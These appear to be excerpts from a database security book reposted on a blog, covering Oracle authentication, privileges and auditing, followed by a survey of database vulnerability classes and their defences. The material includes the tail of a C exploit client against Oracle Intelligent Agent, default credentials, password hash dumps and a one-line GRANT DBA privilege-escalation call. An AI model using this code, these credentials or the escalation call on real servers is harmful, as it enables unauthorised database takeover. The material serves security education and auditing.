      if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("Connect error");
            return 0;
      }
      snd=send(cli_sock, Packet_1 , 0x6A , 0);
      rcv = recv(cli_sock,resp,1500,0);
      if(rcv == SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("recv error.\n");
            return 0;
      }
      PrintResponse(rcv,resp);
      snd=send(cli_sock, Packet_2 , 0x80 , 0);
      rcv = recv(cli_sock,resp,1500,0);
      if(rcv == SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("recv error.\n");
            return 0;
      }
      PrintResponse(rcv,resp);
      snd=send(cli_sock, Packet_3 , 0x70 , 0);
      rcv = recv(cli_sock,resp,1500,0);
      if(rcv == SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("recv error.\n");
            return 0;
      }
      PrintResponse(rcv,resp);
      if(in == 0x37)
      {
            closesocket(cli_sock);
            return printf("Oracle Intelligent Agent has stopped");
      }
      snd=send(cli_sock, Packet_4 , 0x0A , 0);
      rcv = recv(cli_sock,resp,1500,0);
      if(rcv == SOCKET_ERROR)
      {
            closesocket(cli_sock);
            printf("recv error.\n");
            return 0;
      }
      closesocket(cli_sock);
      return 0;
}
int PrintResponse(int size, unsigned char *ptr)
{
      int count = 0;
      int chk = 0;
      int sp = 0;
      printf("%.4X   ",count);
      while(count < size)
      {
            if(count % 16 == 0 && count > 0)
            {
                  printf("   ");
                  chk = count;
                  count = count - 16;
                  while(count < chk)
                  {
                        if(ptr[count]<0x20)
                              printf(".");
                        else
                              printf("%c",ptr[count]);
                        count ++;
                  }
                  printf("\n%.4X   ",count);
            }
            printf("%.2X ",ptr[count]);
            count ++;
      }
      count = count - chk;
      count = 17 - count;
      while(sp < count)
      {
            printf("   ");
            sp++;
      }
      count = chk;
      while(count < size)
      {
            if(ptr[count]<0x20)
                  printf(".");
            else
                  printf("%c",ptr[count]);
            count ++;
      }
      printf("\n\n\n\n");
      return 0;
}

The Intelligent Agent often needs to communicate with the database server and requires a user account and password for the RDBMS. By default this is DBSNMP/DBSNMP—one of the better known default Oracle accounts. When performing a security audit of an Oracle database server, I often find that all the default passwords have been changed except this one. The reason is that if you change the password on the database server, snmp traps don't work; you need to inform the Intelligent Agent of the password change, too. It seems that this is often too much hassle and is left in its default state. To properly change the password for the dbsnmp account you'll need to edit the snmp_rw.ora file as well. You can find this file on the ORACLE_HOME/network/admin directory. Add the following:

SNMP.CONNECT.SID.NAME=dbsnmp
SNMP.CONNECT.SID.PASSWORD=password

"SID" is the SID of the database server. You can get this from the snmp_ro.ora file in the same directory. Once done, change the password for DBSNMP in Oracle.

Note—never change a password using the ALTER USER command. The reason you shouldn't do this is because the SQL is logged if tracing is on, meaning that the password is also logged in clear text. Use the password command in SQL*Plus instead. In this case an encrypted version of the password is logged making it more secure against prying eyes.

Oracle Authentication and Authorization

Oracle supports two kinds of accounts: database accounts and operating system accounts. Operating system accounts are authenticated externally by the operating system and are generally preceded with OP$, whereas database accounts are authenticated against the database server. A number of users are created by default when the database is installed; some of these are integral to the correct operation of the database whereas others are simply created because a package has been installed. The most important database login on an Oracle server is the SYS login. SYS is god as far as the database is concerned and can be likened to the root account on UNIX systems or Administrator on Windows. SYS is installed with a default password of CHANGE_ON_INSTALL, although, as of 10g, the user is prompted for a password to assign—which is good (various components that you install can define default usernames and passwords—Appendix C includes a list of more than 600 default account names and passwords). Another key account is SYSTEM. This is just as powerful as SYS and has a default password of MANAGER. Incidentally, passwords in Oracle are converted to uppercase making them easier to brute force if one can get a hold of the password hashes. Details such as usernames and passwords are stored in the SYS.USER$ table.

SQL> select name,password from sys.user$ where type#=1;
NAME                           PASSWORD
------------------------------ ------------------------------
SYS                            2696A092833AFD9F
SYSTEM                         ED58B07310B19002
OUTLN                          4A3BA55E08595C81
DIP                            CE4A36B8E06CA59C
DMSYS                          BFBA5A553FD9E28A
DBSNMP                         E066D214D5421CCC
WMSYS                          7C9BA362F8314299
EXFSYS                         66F4EF5650C20355
ORDSYS                         7EFA02EC7EA6B86F
ORDPLUGINS                     88A2B2C183431F00
SI_INFORMTN_SCHEMA             84B8CBCA4D477FA3
MDSYS                          72979A94BAD2AF80
CTXSYS                         71E687F036AD56E5
OLAPSYS                        3FB8EF9DB538647C
WK_TEST                        29802572EB547DBF
XDB                            88D8364765FCE6AF
ANONYMOUS                      anonymous
SYSMAN                         447B729161192C24
MDDATA                         DF02A496267DEE66
WKSYS                          69ED49EE1851900D
WKPROXY                        B97545C4DD2ABE54
MGMT_VIEW                      B7A76767C5DB2BFD
SCOTT                          F894844C34402B67
23 rows selected.

Both SYS and SYSTEM are DBA privileged accounts but on a typical system you'll also find at least a few more DBAs—namely MDSYS, CTXSYS, WKSYS, and SYSMAN. You can list all DBAs with the following query:

SQL> select distinct a.name from sys.user$ a, sys.sysauth$ b where a.user#=b.grantee# and b.privilege#=4;
NAME
-----------------------------
CTXSYS
SYS
SYSMAN
SYSTEM
WKSYS

(If you know a bit about Oracle and are wondering why I'm not using the DBA_USERS and DBA_ROLE_PRIVS views, see the last chapter in the Oracle section—you can't trust views.)

This is enough on users and roles at the moment. Let's look at how database users are authenticated.

Database Authentication

When a client authenticates to the server, rather than sending a password across the wire in clear text like most other RDBMSes Oracle chooses to encrypt it. Here's how the authentication process works. First, the client connects to the TNS Listener and requests access to the RDBMS, specifying its SID. Provided the SID is valid the Listener responds with a TCP port and redirects the client to this port. On connecting to this port, to an Oracle shadow process, the client presents their username:

CLIENT to SERVER
00 c4 00 00 06 00 00 00 00 00 03 76 02 e0 91 d3  (           v    )
00 06 00 00 00 01 00 00 00 cc a2 12 00 04 00 00  (                )
00 9c a0 12 00 8c a4 12 00 06 73 79 73 74 65 6d  (          system)
0d 00 00 00 0d 41 55 54 48 5f 54 45 52 4d 49 4e  (     AUTH_TERMIN)
41 4c 07 00 00 00 07 47 4c 41 44 49 55 53 00 00  (AL     GLADIUS  )
00 00 0f 00 00 00 0f 41 55 54 48 5f 50 52 4f 47  (       AUTH_PROG)
52 41 4d 5f 4e 4d 0b 00 00 00 0b 73 71 6c 70 6c  (RAM_NM     sqlpl)
75 73 2e 65 78 65 00 00 00 00 0c 00 00 00 0c 41  (us.exe         A)
55 54 48 5f 4d 41 43 48 49 4e 45 12 00 00 00 12  (UTH_MACHINE     )
57 4f 52 4b 47 52 4f 55 50 5c 47 4c 41 44 49 55  (WORKGROUP\GLADIU)
53 00 00 00 00 00 08 00 00 00 08 41 55 54 48 5f  (S          AUTH_)
50 49 44 08 00 00 00 08 38 37 32 3a 32 34 33 36  (PID     872:2436)
00 00 00 00                                      (    )

Here you can see the client is attempting to authenticate as the "SYSTEM" user. If the user exists on the remote system, the server responds with a ses-sion key:

SERVER TO CLIENT
00 87 00 00 06 00 00 00 00 00 08 01 00 0c 00 00  (                )
00 0c 41 55 54 48 5f 53 45 53 53 4b 45 59 20 00  (  AUTH_SESSKEY  )
00 00 20 39 31 33 42 36 46 38 36 37 37 30 39 44  (   913B6F867709D)
34 34 35 39 34 34 34 41 32 41 36 45 31 31 43 44  (4459444A2A6E11CD)
45 38 45 00 00 00 00 04 01 00 00 00 00 00 00 00  (E8E             )
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  (                )
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  (                )
00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00  (                )
00 00 00 00 00 00 00                             (       )

Note that if the user does not exist on the remote server, no session key is issued. This is useful for an attacker. He or she can work out whether or not a given account exists on the server. (See the "Oracle Auditing" section at the end of this chapter to catch attacks like this.) Anyway, assuming the user does exist, the session key is sent back to the client. The client uses this session key to encrypt its password and send it back to the server for validation.

03 26 00 00 06 00 00 00 00 00 03 73 03 e0 91 d3  ( &         s    )
00 06 00 00 00 01 01 00 00 e8 b1 12 00 07 00 00  (                )
00 a0 ae 12 00 2c b4 12 00 06 73 79 73 74 65 6d  (     ,    system)
0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f  (     AUTH_PASSWO)
52 44 20 00 00 00 20 36 37 41 41 42 30 37 46 38  (RD     67AAB07F8)
45 32 41 32 46 33 42 45 44 41 45 43 32 33 31 42  (E2A2F3BEDAEC231B)
36 42 32 41 30 35 30 00 00 00 00 0d 00 00 00 0d  (6B2A050         )

Once authenticated to the database server, a user's actions are controlled using authorization. In Oracle, authorization is dictated by system and object privileges.

Authorization

System privileges define what a user can do to the database, whereas object privileges define what a user can do to database objects such as tables and procedures. For example, there's a system privilege that, if granted, allows a user to create procedures and once created, object privileges can be granted that allow another user to execute it. There are 173 system privileges in Oracle 10g—these can be listed with the following query:

SQL> select distinct name from sys.system_privilege_map;

As far as object privileges go there are far fewer defined—23:

SQL> select distinct name from sys.table_privilege_map;

Key System Privileges

There are a few system privileges, which if granted, can be abused to gain complete control of the database server. Let's look at a few.

EXECUTE ANY PROCEDURE

This gives the grantee the ability to run any procedure on the server. We'll talk more about procedures later on but suffice to say this is one of the most powerful system privileges. If granted, the user can become a DBA in the blink of an eye.

SELECT ANY DICTIONARY

Any data in the database that is integral to the operation of the database are stored in a bunch of tables collectively known as the Oracle Data Dictionary. These tables are stored in the SYS schema. If users have the SELECT ANY DICTIONARY privilege it means that they can select from any of these tables. For example they could select password hashes from the SYS.USER$ table. The DBSNMP account is a good case study for this—it's not a DBA but it does have this system privilege. It's an easy task for DBSNMP to get DBA privileges due to this.

GRANT ANY PRIVILEGE / ROLE / OBJECT PRIVILEGE

Any of these, if granted, can allow a user to gain control of the system. They do as their names imply.

CREATE LIBRARY

If users have the CREATE LIBRARY, or any of the other library privileges, then they have the ability to run arbitrary code through external procedures.

Oracle Auditing

This section discusses Oracle auditing—auditing in the sense of tracking what users are doing and when. Unless you check whether auditing is on or not, you're never going to know whether "big brother" is watching—if you're attacking the system at least. If you're defending a system, then auditing should be on—but not necessarily for everything. For a busy database server if every action is audited, the audit trail can become massive. At a minimum, failed and successful log on attempts should be audited as well as access to the audit trail itself.

Oracle can either log to the file system or to a database table and this is controlled with an entry in the init.ora file. To log audit information to the database, add an entry like

audit_trail = db

To log audit information to the file system, change the "db" to "os". If audit_trail is set to "none," then no auditing is performed. If logging occurs in the database, then events are written to the SYS.AUD$ table in the data dictionary. This table stands out from others in the dictionary because rows can be deleted from it. This has significance to the validity or accuracy of the log if access to the SYS.AUD$ is not restricted, and audited.

Once auditing is enabled you need to configure what actions, events, and so on should be audited. For a full list of what can be logged refer to the Oracle documentation, but here I'll show how to turn on auditing for failed and successful log in attempts and how to protect the AUD$ table itself.

Log on to the system with DBA privileges, or at least an account that has either the AUDIT ANY or AUDIT SYSTEM privilege and issue the following statement:

AUDIT INSERT, UPDATE, DELETE ON SYS.AUD$ BY ACCESS;

This protects access to the audit trail so if someone attempts to manipulate it, the access itself will be logged. Once done, then issue

    AUDIT CREATE SESSION;

This will turn on logging for log on attempts.

When attacking a system it is often useful to know what actions and so on are being audited because this will usually point you toward the "valuable" information. For example, all access to the HR.WAGES table might be audited. To see a list of what tables are audited, run the following query:

SELECT O.NAME FROM SYS.OBJ$ O, SYS.TAB$ T 
WHERE T.AUDIT$ LIKE '%A%' 
AND O.OBJ#=T.OBJ#

What's happening here? Well, the SYS.TAB$ table contains a column called AUDIT$. This column is a varchar(38) with each varchar being a dash or an A:

    ------AA----AA------AA----------

Depending upon where an A or a dash occurs defines what action is audited, whether it be a SELECT, UPDATE, INSERT, and so on.

If execute is audited for a procedure, this can be checked by running

SELECT O.NAME FROM SYS.OBJ$ O, SYS.PROCEDURE$ P 
WHERE P.AUDIT$ LIKE '%S%' 
AND O.OBJ# = P.OBJ#

Download the book.

Why Care About Database Security?

2011-12-18T18:55:00.001+07:00

Overview

In the introduction, we discussed the reasons why we consider database security to be important. In this chapter, we provide a brief overview of several broad categories of security issues, with a few specific details and some discussion of general defenses. We also briefly discuss how to go about finding security flaws in database systems. Before we do so, we should discuss some emerging trends in database security.

In recent years, with the explosion in web-based commerce and information systems, databases have been drawing ever closer to the network perimeter. This is a necessary consequence of doing business on the Web—you need your customers to have access to your information via your web servers, so your web servers need to have access to your databases. Databases that were previously accessible only via several insulating layers of complex business logic are now directly accessible from the much more fluid—and much less secure—web application environment. The result of this is that the databases are closer to the attackers. With the constant march toward a paperless business environment, database systems are increasingly being used to hold more and more sensitive information, so they present an increasingly valuable target. In recent years, database vendors have been competing with each other to provide the most feature-rich environment they can, with most major systems supporting XML, web services, distributed replication, operating system integration, and a host of other useful features. To cap all of this, the legislative burden in terms of corporate security is increasing, with HIPAA, SOX, GLBA, and California Senate Bill No. 1386 imposing an ever-increasing pressure on companies to ensure that their networks are compliant.

So why care about database security? Because your databases are closer to the attacker, present a more valuable target, have more features to configure, and are more closely regulated than they have ever been before.

Which Database Is the Most Secure?

All of the databases we cover in this volume have had serious security flaws at some point. Oracle has published 69 security alerts on its "critical patch updates and security alerts" page—though some of these alerts relate to a large number of vulnerabilities, with patch 68 alone accounting for somewhere between 50 and 100 individual bugs. Depending on which repository you search, Microsoft SQL Server and its associated components have been subject to something like 36 serious security issues—though again, some of these patches relate to multiple bugs. According to the ICAT metabase, DB2 has had around 20 published security issues—although the authors of this book have recently worked with IBM to fix a further 13 issues. MySQL has had around 25 issues; Sybase ASE is something of a dark horse with a mere 2 published vulnerabilities. PostgreSQL has had about a dozen. Informix has had about half a dozen, depending on whose count you use.

The problem is that comparing these figures is almost entirely pointless. Different databases receive different levels of scrutiny from security researchers. To date, Microsoft SQL Server and Oracle have probably received the most, which accounts for the large number of issues documented for each of those databases. Some databases have been around for many years, and others are relatively recent. Different databases have different kinds of flaws; some databases are not vulnerable to whole classes of problems that might plague others. Even defining "database" is problematic. Oracle bundles an entire application environment with its database server, with many samples and pre-built applications. Should these applications be considered a part of the database? Is Microsoft's MSDE a different database than SQL Server? They are certainly used in different ways and have a number of differing components, but they were both subject to the UDP Resolution Service bug that was the basis for the "Slammer" worm.

Even if we were able to determine some weighted metric that accounted for age, stability, scrutiny, scope, and severity of published vulnerabilities, we would still be considering only "patchable" issues, rather than the inherent security features provided by the database. Is it fair to directly compare the comprehensive audit capabilities of Oracle with the rather more limited capabilities of MySQL, for instance? Should a database that supports securable views be considered "more secure" than a database that doesn't implement that abstraction? By default, PostgreSQL is possibly the most security-aware database available—but you can't connect to it over the network unless you explicitly enable that functionality. Should we take default configurations into account? The list of criteria is almost endless, and drawing any firm conclusions from it is extremely dangerous.

Ultimately, the more you know about a system, the better you will be able to secure it—up to a limit imposed by the features of that system. It isn't true to say, however, that the system with the most features is the most secure because the more functionality a system has, the more target surface there is for an attacker to abuse. The point of this book is to demonstrate the strengths and weaknesses of the various database systems we're discussing, not—most emphatically not—to determine which is the "most secure."

In the end, the most secure database is the one that you know the most about.

The State of Database Security Research

Before we can discuss the state of database security research, we should first define what we mean by the term. In general, when we use the phrase "database security research" we tend to mean research into specific, practical flaws in the security of database systems. We do not mean research into individual security incidents or discussions of marketing-led accreditation or certification efforts. We don't even mean academic research into the underlying abstractions of database security, such as field-, row-, and object-level security, or encryption, or formal protocol security analysis—though the research we are talking about may certainly touch on those subjects. We mean research relating to discoveries of real flaws in real systems.

So with that definition in mind, we will take a brief tour of recent—and not so recent—discoveries, and attempt to classify them appropriately.

Classes of Database Security Flaws

If you read about specific security flaws for any length of time, you begin to see patterns emerge, with very similar bugs being found in entirely different products. In this section, we attempt to classify the majority of known database security issues into the following categories:

Unauthenticated Flaws in Network Protocols
Authenticated Flaws in Network Protocols
Flaws in Authentication Protocols
Unauthenticated Access to Functionality
Arbitrary Code Execution in Intrinsic SQL Elements
Arbitrary Code Execution in Securable SQL Elements
Privilege Elevation via SQL Injection
Local Privilege Elevation Issues

So we begin with arguably the most dangerous class of all—unauthenticated flaws in network protocols. By this we mean buffer overflows, format string bugs, and so on, in the underlying network protocols used by database systems.

Unauthenticated Flaws in Network Protocols

Arguably the most famous bug in this class is the bug exploited by the SQL Server "Slammer" worm. The SQL Server Resolution Service operates over a UDP protocol, by default on port 1434. It exposes a number of functions, two of which were vulnerable to buffer overflow issues (CAN-2002-0649). These bugs were discovered by David Litchfield of NGS. Another SQL Server problem in the same category was the "hello" bug (CAN-2002-1123) discovered by Dave Aitel of Immunity, Inc., which exploited a flaw in the initial session setup code on TCP port 1433.

Oracle has not been immune to this category—most recently, David Litchfield found an issue with environment variable expansion in Oracle's "extproc" mechanism that can be exploited without a username or password (CAN-2004-1363). Chris Anley of NGS discovered an earlier flaw in Oracle's extproc mechanism (CAN-2003-0634) that allowed for a remote, unauthenticated buffer overflow. Mark Litchfield of NGS discovered a flaw in Oracle's authentication handling code whereby an overly long username would trigger an exploitable stack overflow (CAN-2003-0095).

David Litchfield also found a flaw in DB2's JDBC Applet Server (no CVE, but bugtraq id 11401) that allows a remote, unauthenticated user to trigger a buffer overflow.

In general, the best way to defend yourself against this class of problem is first, to patch. Second, you should attempt to ensure that only trusted hosts can connect to your database servers, possibly enforcing that trust through some other authentication mechanism such as SSH or IPSec. Depending on the role that your database server is fulfilling, this may be tricky.

Another possibility for defense is to implement an Intrusion Detection System (IDS) or an Intrusion Prevention System (IPS). These kinds of systems have been widely discussed in security literature, and are of debatable value. Although an IDS can (sometimes) tell you that you have been compromised, it won't normally prevent that compromise from happening. Signature-based IDS systems are only as strong as their signature databases and in most cases signatures aren't written by people who are capable of writing exploits, so many loopholes in the signatures get missed.

"True anomaly" IDS systems are harder to bypass, but as long as you stick to a protocol that's already in use, and keep the exploit small, you can usually slip by. Although some IDS systems are better than others, in general you need an IDS like you need someone telling you you've got a hole in the head. IDS systems will certainly stop dumber attackers, or brighter attackers who were unlucky, so they may be worthwhile provided they complement—and don't replace—skilled staff, good lockdown, and good procedures.

IPS systems, on the other hand, do prevent some classes of exploit from working but again, every IPS system the authors have examined can be bypassed with a little work, so your security largely depends on the attacker not knowing which commercial IPS you're using. Someone may bring out an IPS that prevents all arbitrary code execution attacks at some point, which would be a truly wonderful thing. Don't hold your breath waiting for it, though.

Authenticated Flaws in Network Protocols

There are substantially fewer bugs in this category. This may reflect a reduced focus on remote, authenticated bugs versus remote, unauthenticated bugs among the security research community, or it may be sheer coincidence.

David Litchfield found a flaw in DB2 for Windows (CAN-2004-0795) whereby a remote user could connect to the DB2REMOTECMD named pipe (subject to Windows authentication) and would then be able to execute arbitrary commands with the privilege of the db2admin user, which is normally an "Administrator" account.

David discovered another flaw in DB2 in this category recently, relating to an attacker specifying an overly long locale LC_TYPE. The database applies this after the user authenticates, triggering the overflow.

There are several other bugs that debatably fall into this category, normally relating to web application server components; because we're focusing on the databases themselves we'll gloss over them.

In general the best way to protect yourself against this category of bugs is to carefully control the users that have access to your databases; a strong password policy will help—as long as you're not using plaintext authentication protocols (we discuss this more later). Auditing authenticated users is also a good idea for a number of reasons; it might give you a heads-up if someone is trying to guess or brute-force a password, and if you do have an incident, at least you have somewhere to start looking.

Flaws in Authentication Protocols

Several database systems have plaintext authentication protocols, by which we mean authentication protocols in which the password is passed "on the wire" in a plaintext or easily decrypted format. In a default configuration (that Sybase warns against, but which we have still seen in use) Sybase passes passwords in plaintext. By default, Microsoft SQL Server obfuscates passwords by swapping the nibbles (4-bit halves of a byte) and XORing with 0xA5. In both of these cases, the vendors warn against using the plaintext versions of their authentication protocols and provide strong, encrypted mechanisms that are relatively easy to deploy—but the defaults are still there, and still dangerous.

MySQL has historically had a number of serious problems with its authentication protocol. Although the protocol isn't plaintext, the mathematical basis of the authentication algorithm prior to version 4.1 was called into question by Ariel Waissbein, Emiliano Kargieman, Carlos Sarraute, Gerardo Richarte, and Agustin Azubel of CORE SDI (CVE-2000-0981). Their paper describes an attack in which an attacker that can observe multiple authentications is quickly able to determine the password hash.

A further conceptual problem with the authentication protocol in MySQL prior to version 4.1 is that the protocol only tests knowledge of the password hash, not the password itself. This leads to serious problems if a user is able to somehow determine another user's password hash—and MySQL has been subject to a number of issues in which that was possible.

Robert van der Meulen found an issue (CVE-2000-0148) in MySQL versions prior to 3.23.11 whereby an attacker could authenticate using only a single byte of the expected response to the server's challenge, leading to a situation whereby if you knew a user's username, you could authenticate as that user in around 32 attempts.

Chris Anley recently found a very similar problem in MySQL (CAN-2004-0627) whereby a user could authenticate using an empty response to the server's challenge, provided he or she passed certain flags to the remote server.

This category of bugs is almost as dangerous as the "unauthenticated flaws in network protocols" category, because in many cases the traffic simply looks like a normal authentication. Attackers don't need to exploit an overflow or do anything clever, they simply authenticate without necessarily needing the password—or if they've been able to sniff the password, they just authenticate.

The best defense against this kind of bug is to ensure that your database patches are up-to-date, and that you don't have any plaintext authentication mechanisms exposed on your databases. If your DBMS cannot support encrypted authentication in your environment, you could use IPSec or SSH to provide an encrypted tunnel. MySQL provides explicit guidelines on how to do this in its documentation, though recent versions of MySQL allow authentication to take place over an SSL-encrypted channel.

Unauthenticated Access to Functionality

Some components associated with databases permit unauthenticated access to functionality that should really be authenticated. As an example of this, David Litchfield found a problem with the Oracle 8 and 9i TNS Listener, whereby a remote, unauthenticated user could load and execute an arbitrary function via the "extproc" mechanism (CVE-2002-0567). The function can have any prototype, so the obvious mode of attack is to load the libc or msvcrt library (depending upon the target platform) and execute the "system" function that allows an attacker to execute an arbitrary command line. The command will be executed with the privileges of the user that the database is running as—"oracle" on UNIX systems, or the local system user on Windows.

Recently, David Litchfield disclosed an issue that allows any local user to execute commands in the security context of the user that Oracle is running as (CAN-2004-1365). This bug works in exactly the same way as the bug listed earlier (CVE-2002-0567), except that it takes advantage of the implicit trust that extproc places in the local host. Oracle does not consider this to be a security issue (!) but we would caution you not to allow users to have shells on Oracle servers without seriously considering the security ramifications. Clearly, allowing a user to have a shell on a database server is dangerous anyway, but in this particular case there is a known, documented vector for attack that the vendor will not fix.

There is a whole class of attacks that can be carried out on unsecured Oracle TNS Listeners, including writing arbitrary data to files, that we cover later in the Oracle chapters of this book—Oracle recommends that a Listener password be set, but it is not unusual to find servers where it hasn't been.

Arbitrary Code Execution in Intrinsic SQL Elements

This class of buffer overflow applies to buffer overflow and format string bugs in elements of the database's SQL grammar that are not subject to the usual access control mechanisms (GRANT and REVOKE). This class is rather more of a threat than it might initially appear, since these bugs can normally be triggered via SQL injection problems in Internet-facing web applications. A well-written exploit for a bug in this class could take a user from the Internet into administrative control of your database server in a single step.

A good example of this kind of thing in Microsoft SQL Server was the pwdencrypt overflow discovered by Martin Rakhmanoff (CAN-2002-0624). This was a classic stack overflow in a function used by SQL Server to encrypt passwords.

An example of a format string bug in this category was the RAISERROR format string bug discovered in SQL Server 7 and 200 by Chris Anley (CAN-2001-0542).

Oracle has been subject to several bugs in this category—although it is normally possible to revoke access to Oracle functions, it can be somewhat problematic. Mark Litchfield discovered that the TIME_ZONE session parameter, and NUMTOYMINTERVAL, NUMTODSINTERVAL, FROM_TZ functions are all subject to buffer overflows that allow an attacker to execute arbitrary code.

David Litchfield discovered that the DB2 "call" mechanism was vulnerable to a buffer overflow that can be triggered by any user (no CVE-ID, but bugtraq ID 11399).

Declaring a variable with an overly long data type name in Sybase ASE versions prior to 12.5.3 will trigger an overflow.

Most databases have flaws in this category, simply because parsing SQL is a hard problem. Developers are likely to make mistakes, and since parsing code can be so convoluted, it can be hard to tell whether or not code is secure.

The best defense against this category of bugs is to patch. Allowing untrusted users to influence SQL queries on the database server can also be a bad idea; most organizations are aware of the threat posed by SQL injection but it is still present in a sizeable proportion of the web applications that we audit. This category of bugs, perhaps more so than any other, is a great argument for ensuring that your patch testing and deployment procedures are as slick as they can be.

Arbitrary Code Execution in Securable SQL Elements

In a slightly less severe category than the intrinsic function overflows, we have the set of overflow and format string bugs that exist in functions that can be subject to access controls. The interesting thing about this category is that, although the risk from these problems can be mitigated by revoking permissions to the objects in question, they are normally accessible by default.

Several bugs in this category have affected Microsoft SQL Server—Chris Anley discovered buffer overflows in the extended stored procedures xp_setsqlsecurity (CAN-2000-1088), xp_proxiedmetadata (CAN-2000-1087), xp_printstatements (CAN-2000-1086), and xp_peekqueue (CAN-2000-1085). David Litchfield discovered buffer overflows in the xp_updatecolvbm (CAN-2000-1084), xp_showcolv (CAN-2000-1083), xp_enumresultset (CAN-2000-1082), and xp_displayparamstmt (CAN-2000-1081) extended stored procedures.

Mark Litchfield discovered a buffer overflow in the BULK INSERT statement in SQL Server (CAN-2002-0641); by default the owner of a database can execute this statement but a successful exploit will normally confer administrative privileges on the target host.

David Litchfield discovered an overflow in Oracle's CREATE DATABASE LINK statement (CAN-2003-0222); by default CREATE DATABASE LINK privilege is assigned to the CONNECT role—though low-privileged accounts such as SCOTT and ADAMS can normally create database links.

Patching is the best defense against this category of bugs, though a good solid lockdown will eliminate a fair portion of them. The difficulty with removing "default" privileges is that often there are implicit dependencies—system components might depend on the ability to execute the stored procedure in question, or some replication mechanism might fail if a given role has its permissions revoked. Debugging these issues can sometimes be tricky. It is definitely worth investing some time and effort in determining which "optional" components are in use in your environment and removing the ones that aren't.

Privilege Elevation via SQL Injection

Most organizations are familiar with the risk posed by SQL injection in web applications, but fewer are aware of the implications of SQL injection in stored procedures. Any component that dynamically creates and executes a SQL query could in theory be subject to SQL injection. In those databases where mechanisms exist to dynamically compose and execute strings, SQL injection in stored procedures can pose a risk.

In Oracle, for example, stored procedures can execute with either the privilege of the invoker of the procedure, or the definer of the procedure. If the definer was a high-privileged account, and the procedure contains a SQL injection flaw, attackers can use the flaw to execute statements at a higher level of privilege than they should be able to. Recently David Litchfield discovered a number of Oracle system–stored procedures that were vulnerable to this flaw (CAN-2004-1370)—the following procedures all allow privilege elevation in one form or another:

DBMS_EXPORT_EXTENSION

WK_ACL.GET_ACL

WK_ACL.STORE_ACL

WK_ADM.COMPLETE_ACL_SNAPSHOT

WK_ACL.DELETE_ACLS_WITH_STATEMENT

DRILOAD.VALIDATE_STMT (independently discovered by Alexander Kornbrust)

The DRILOAD.VALIDATE_STMT procedure is especially interesting since no "SQL injection" is really necessary; the procedure simply executes the specified statement with DBA privileges, and the procedure can be called by anyone, for example the default user "SCOTT" can execute the following:

exec CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO PUBLIC');

This will grant the "public" role DBA privileges.

In most other databases the effect of SQL injection in stored procedures is less dramatic—in Sybase, for example, "definer rights" immediately back down to "invoker rights" as soon as a stored procedure attempts to execute a dynamically created SQL statement. The same is true of Microsoft SQL Server.

It isn't true to say that SQL injection in stored procedures has no effect in SQL Server, however—if an attacker can inject SQL into a stored procedure, he can directly modify the system catalog—but only if he already had permissions that would enable him to do so. The additional risk posed by this is slight, since the attacker would already have to be an administrator in order to take advantage of any SQL injection flaw in this way—and if he is a database administrator, there are many other, far more serious things he can do to the system.

One privilege elevation issue in SQL Server is related to the mechanism used to add jobs to be executed by the SQL Server Agent (#NISR15002002B). Essentially, all users were permitted to add jobs, and those jobs would then be executed with the privileges of the SQL Agent itself (by getting the SQL Agent to re-authenticate after it had dropped its privileges).

In general, patching is the answer to this class of problem. In the specific case of Oracle, it might be worth investigating which sets of default stored procedures you actually need in your environment and revoking access to "public"—but as we previously noted, this can cause permission problems that are hard to debug.

Local Privilege Elevation Issues

It could be argued that the "unauthenticated access to functionality" class is a subset of this category, though there are some differences. This category is comprised of bugs that allow some level of privilege elevation at the operating system level. Most of the Oracle "extproc" vulnerabilities arguably also fall into this class.

The entire class of privilege elevations from database to operating system users also falls into this class; SQL Server and Sybase's extended stored procedure mechanism (for example, xp_cmdshell, xp_regread), MySQL's UDF mechanism (the subject of the January 2005 Windows MySQL worm), and a recent bug discovered by John Heasman in PostgreSQL (CAN-2005-0227) that allows non-privileged users to load arbitrary libraries (and thereby execute initialization functions in those libraries) with the privileges of the PostgreSQL server.

Other examples of bugs in this category are the SQL Server arbitrary file creation/overwrite (#NISR19002002A), and the SQL Server sp_MScopyscript arbitrary command execution (CAN-2002-0982) issues discovered by David Litchfield.

MySQL had an interesting issue (CAN-2003-0150) in versions prior to 3.23.56, whereby a user could overwrite a configuration file (my.cnf) to change the user that MySQL runs as, thereby elevating MySQL's context to "root." If the user had privileges to read files from within MySQL (file_priv), he would then be able to read any file on the system—and, via the UDF mechanism we discuss later in this volume, execute arbitrary code as "root."

We discuss some recent issues in this category in Informix and DB2 later in this book.

In general, the best defense against this class of bug is to always run your database as a low-privileged user—preferably in a chroot jail, but certainly within a "segregated" part of the file system that only the database can read and write to.

So What Does It All Mean?

The brief summary in the preceding sections has outlined a number of bugs in a small collection of interesting categories, mostly discovered by a small set of people—of which the authors of this volume form a significant (and highly prolific) part. The security research community is growing all the time, but it seems there is still only a small set of individuals routinely discovering security flaws in databases.

What are we to make of this? Does it mean database security is some kind of black art, or that those who are able to discover security bugs in databases are especially skilled? Hardly. We believe that the only reason people haven't discovered more security flaws in databases is simply that people aren't looking.

In terms of the future of database security, this has some interesting implications. If we were being forced to make predictions, our guess would be that an increasing proportion of the security research community will begin to focus on databases in the next couple of years, resulting in a lot more patches—and a lot better knowledge of the real level of security of the systems we all depend on so utterly. We're in for an interesting couple of years; if you want to find out more about the security of the systems you deploy in your own network, the next section is for you.

Finding Flaws in Your Database Server

Hopefully the long catalog of issues described in the previous section has you wondering what security problems still lurk undiscovered in your database system. Researching bugs in databases is a fairly convoluted process, mainly because databases themselves are complex systems.

If you want to find security bugs in your database system, there are a few basic principles and techniques that might help:

Don't believe the documentation
Implement your own client
Debug the system to understand how it works
Identify communication protocols
Understand arbitrary code execution bugs
Write your own "fuzzers"

Don't Believe the Documentation

Just because the vendor says that a feature works a particular way doesn't mean it actually does. Investigating the precise mechanism that implements some interesting component of a database will often lead you into areas that are relevant to security. If a security-sensitive component doesn't function as advertised, that's an interesting issue in itself.

Implement Your Own Client

